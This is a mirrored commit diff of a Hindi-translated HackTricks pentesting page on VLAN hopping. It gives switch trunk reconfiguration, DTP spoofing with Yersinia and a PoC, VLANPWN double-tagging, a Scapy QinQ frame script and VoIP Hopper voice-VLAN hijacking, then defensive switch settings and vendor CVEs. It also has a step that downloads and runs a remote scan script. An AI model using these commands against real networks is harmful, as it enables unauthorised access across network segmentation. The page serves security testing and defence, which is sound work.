mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
22b26862cd
commit
220cada4bb
@ -4,13 +4,13 @@
|
||||
|
||||
यदि स्विच तक सीधा पहुंच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थिर, परिदृश्य के आधार पर (**अधिक विवरण के लिए देखें [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
शुरुआत में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से या **include** मास्क के माध्यम से पोर्ट की खोज करके किया जा सकता है।
|
||||
शुरुआत में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से किया जा सकता है, या **include** मास्क के माध्यम से पोर्ट की खोज करके।
|
||||
|
||||
**यदि CDP कार्यशील नहीं है, तो MAC पते की खोज करके पोर्ट की पहचान करने का प्रयास किया जा सकता है**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ता निर्धारित किए जाने चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
|
||||
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ताओं का निर्धारण किया जाना चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk
|
||||
|
||||
फिर वर्चुअल इंटरफेस बनाए जाते हैं, VLAN IDs सौंपे जाते हैं, और सक्रिय किए जाते हैं:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,19 +33,28 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
इसके बाद, DHCP के माध्यम से एक पता अनुरोध किया जाता है। वैकल्पिक रूप से, उन मामलों में जहां DHCP संभव नहीं है, पतों को मैन्युअल रूप से कॉन्फ़िगर किया जा सकता है:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
इंटरफेस (VLAN 10) पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण:
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोधों को आरंभ करके किया जाता है।
|
||||
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोध शुरू करके किया जाता है।
|
||||
|
||||
अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने की अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और आगे की क्रियाओं के लिए मंच तैयार होता है।
|
||||
|
||||
@ -52,31 +62,38 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
|
||||
## अन्य VLAN-Hopping तकनीकें (कोई विशेषाधिकार प्राप्त स्विच CLI नहीं)
|
||||
|
||||
पिछली विधि स्विच पर प्रमाणित कंसोल या टेलनेट/SSH पहुंच की धारणा करती है। वास्तविक दुनिया में, हमलावर आमतौर पर एक **सामान्य एक्सेस पोर्ट** से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:
|
||||
पिछली विधि मानती है कि स्विच पर प्रमाणित कंसोल या Telnet/SSH पहुंच है। वास्तविक दुनिया में, हमलावर आमतौर पर एक **सामान्य एक्सेस पोर्ट** से जुड़ा होता है। निम्नलिखित लेयर-2 ट्रिक्स अक्सर आपको स्विच OS में लॉग इन किए बिना पार्श्व रूप से पिवट करने की अनुमति देती हैं:
|
||||
|
||||
### 1. स्विच-स्पूफिंग के साथ डायनामिक ट्रंकिंग प्रोटोकॉल (DTP)
|
||||
|
||||
Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक का सौदा करेंगे यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल **DTP “desirable”** या **“trunk”** फ्रेम को तैयार करना एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित करता है जो *सभी* अनुमत VLANs को ले जाता है।
|
||||
Cisco स्विच जो DTP को सक्षम रखते हैं, वे खुशी-खुशी एक ट्रंक का सौदा करते हैं यदि समकक्ष यह दावा करता है कि वह एक स्विच है। एकल **DTP “desirable”** या **“trunk”** फ्रेम बनाना एक्सेस पोर्ट को 802.1Q ट्रंक में परिवर्तित करता है जो *सभी* अनुमत VLANs को ले जाता है।
|
||||
|
||||
*Yersinia* और कई PoCs इस प्रक्रिया को स्वचालित करते हैं:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
जैसे ही पोर्ट ट्रंक पर स्विच होता है, आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह से पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है। आधुनिक Linux कर्नेल अब *vconfig* की आवश्यकता नहीं रखते; इसके बजाय *ip link* का उपयोग करें:
|
||||
Recon helper (पैसिवली पोर्ट के DTP स्थिति की पहचान करें):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
एक बार जब पोर्ट ट्रंक पर स्विच हो जाता है, आप 802.1Q उप-इंटरफेस बना सकते हैं और ठीक उसी तरह पिवट कर सकते हैं जैसे पिछले अनुभाग में दिखाया गया है।
|
||||
|
||||
### 2. डबल-टैगिंग (नेटीव-VLAN दुरुपयोग)
|
||||
|
||||
यदि हमलावर **नेटीव (अनटैग्ड) VLAN** पर बैठा है, तो *दो* 802.1Q हेडर वाला एक तैयार किया गया फ्रेम एक दूसरे VLAN में "हॉप" कर सकता है, भले ही पोर्ट एक्सेस मोड में लॉक किया गया हो। **VLANPWN DoubleTagging.py** (2022-2024 रिफ्रेश) जैसे उपकरण इंजेक्शन को स्वचालित करते हैं:
|
||||
यदि हमलावर **नेटीव (अनटैग्ड) VLAN** पर बैठा है, तो *दो* 802.1Q हेडर वाला एक तैयार फ्रेम दूसरे VLAN में कूद सकता है, भले ही पोर्ट एक्सेस मोड में लॉक हो। **VLANPWN DoubleTagging.py** (2022-2025 रिफ्रेश) जैसे टूल इंजेक्शन को स्वचालित करते हैं:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. बाहरी टैग (1) पहले स्विच द्वारा हटा दिया जाता है क्योंकि यह मूल VLAN से मेल खाता है।
|
||||
2. आंतरिक टैग (20) अब उजागर है; फ्रेम VLAN 20 की ओर ट्रंक पर अग्रेषित किया जाता है।
|
||||
|
||||
यह तकनीक 2025 में भी काम करती है उन नेटवर्क पर जो मूल VLAN को डिफ़ॉल्ट पर छोड़ते हैं और बिना टैग वाले फ्रेम स्वीकार करते हैं।
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
कई उद्यम कोर *Q-in-Q* सेवा प्रदाता एनकैप्सुलेशन का समर्थन करते हैं। जहां अनुमति है, एक हमलावर सुरक्षा क्षेत्रों को पार करने के लिए एक प्रदाता (S-tag) के अंदर मनमाने 802.1Q-टैग किए गए ट्रैफ़िक को टनल कर सकता है। 802.1ad एथरटाइप 0x88a8 के लिए कैप्चर करें और Scapy के साथ बाहरी टैग को पॉप करने का प्रयास करें:
|
||||
कई उद्यम कोर *Q-in-Q* सेवा-प्रदाता एनकैप्सुलेशन का समर्थन करते हैं। जहाँ अनुमति है, एक हमलावर सुरक्षा क्षेत्रों को पार करने के लिए एक प्रदाता (S-tag) के अंदर मनमाने 802.1Q-टैग किए गए ट्रैफ़िक को टनल कर सकता है। ethertype `0x88a8` के लिए कैप्चर करें और Scapy के साथ बाहरी टैग को पॉप करने का प्रयास करें:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,6 +113,22 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
|
||||
|
||||
कॉर्पोरेट एक्सेस पोर्ट अक्सर *“access + voice”* कॉन्फ़िगरेशन में होते हैं: वर्कस्टेशन के लिए अनटैग्ड डेटा VLAN और CDP या LLDP-MED के माध्यम से विज्ञापित टैग्ड वॉयस VLAN। एक IP फोन का अनुकरण करके, हमलावर स्वचालित रूप से VoIP VLAN का पता लगा सकता है और उसमें कूद सकता है—यहां तक कि जब DTP बंद हो।
|
||||
|
||||
*VoIP Hopper* (Kali 2025.2 में पैक किया गया) CDP, DHCP विकल्प **176/242**, और पूर्ण LLDP-MED स्पूफिंग का समर्थन करता है:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
The technique data/voice separation को बायपास करता है और 2025 में एंटरप्राइज एज स्विच पर अत्यधिक सामान्य है क्योंकि कई मॉडलों पर LLDP ऑटो-नीति डिफ़ॉल्ट रूप से सक्षम है।
|
||||
|
||||
---
|
||||
|
||||
## Defensive Recommendations
|
||||
@ -109,15 +136,29 @@ sendp(frame, iface="eth0")
|
||||
1. सभी उपयोगकर्ता-फेसिंग पोर्ट पर DTP को निष्क्रिय करें: `switchport mode access` + `switchport nonegotiate`।
|
||||
2. प्रत्येक ट्रंक पर मूल VLAN को एक **अप्रयुक्त, ब्लैक-होल VLAN** में बदलें और इसे टैग करें: `vlan dot1q tag native`।
|
||||
3. ट्रंक पर अनावश्यक VLANs को प्रून करें: `switchport trunk allowed vlan 10,20`।
|
||||
4. पोर्ट सुरक्षा, DHCP स्नूपिंग और डायनामिक ARP निरीक्षण को लागू करें ताकि बागी लेयर-2 गतिविधियों को सीमित किया जा सके।
|
||||
5. केवल 802.1Q पृथक्करण पर निर्भर रहने के बजाय निजी-VLANs या L3 विभाजन को प्राथमिकता दें।
|
||||
4. पोर्ट सुरक्षा, DHCP स्नूपिंग, डायनामिक ARP निरीक्षण **और 802.1X** को लागू करें ताकि बगैर अनुमति के लेयर-2 गतिविधियों को सीमित किया जा सके।
|
||||
5. यदि IP-फोन स्पूफिंग की आवश्यकता नहीं है तो LLDP-MED ऑटो वॉयस नीतियों को निष्क्रिय करें (या उन्हें प्रमाणित MAC OUIs पर लॉक करें)।
|
||||
6. केवल 802.1Q विभाजन पर निर्भर रहने के बजाय प्राइवेट-VLANs या L3 विभाजन को प्राथमिकता दें।
|
||||
|
||||
---
|
||||
|
||||
## Real-World Vendor Vulnerabilities (2022-2024)
|
||||
|
||||
यहां तक कि एक पूरी तरह से हार्डन की गई स्विच कॉन्फ़िगरेशन को भी फर्मवेयर बग द्वारा कमजोर किया जा सकता है। हाल के उदाहरणों में शामिल हैं:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** मूल VLAN से गैर-मूल WLAN VLANs में इंजेक्शन की अनुमति देते हैं, वायर्ड/वायरलेस विभाजन को बायपास करते हैं।
|
||||
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** SVIs पर ACL बायपास की अनुमति देता है Resilient Ethernet Protocol को टॉगल करने के बाद, VRFs/VLANs के बीच ट्रैफ़िक लीक करता है। पैच 17.9.5 या बाद में।
|
||||
|
||||
हमेशा VLAN-संबंधित बायपास/ACL मुद्दों के लिए विक्रेता सलाह की निगरानी करें और बुनियादी ढांचे की छवियों को अद्यतित रखें।
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VLANPWN हमला टूलकिट – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "VLAN Hopping क्या है?" (अगस्त 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper प्रोजेक्ट – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user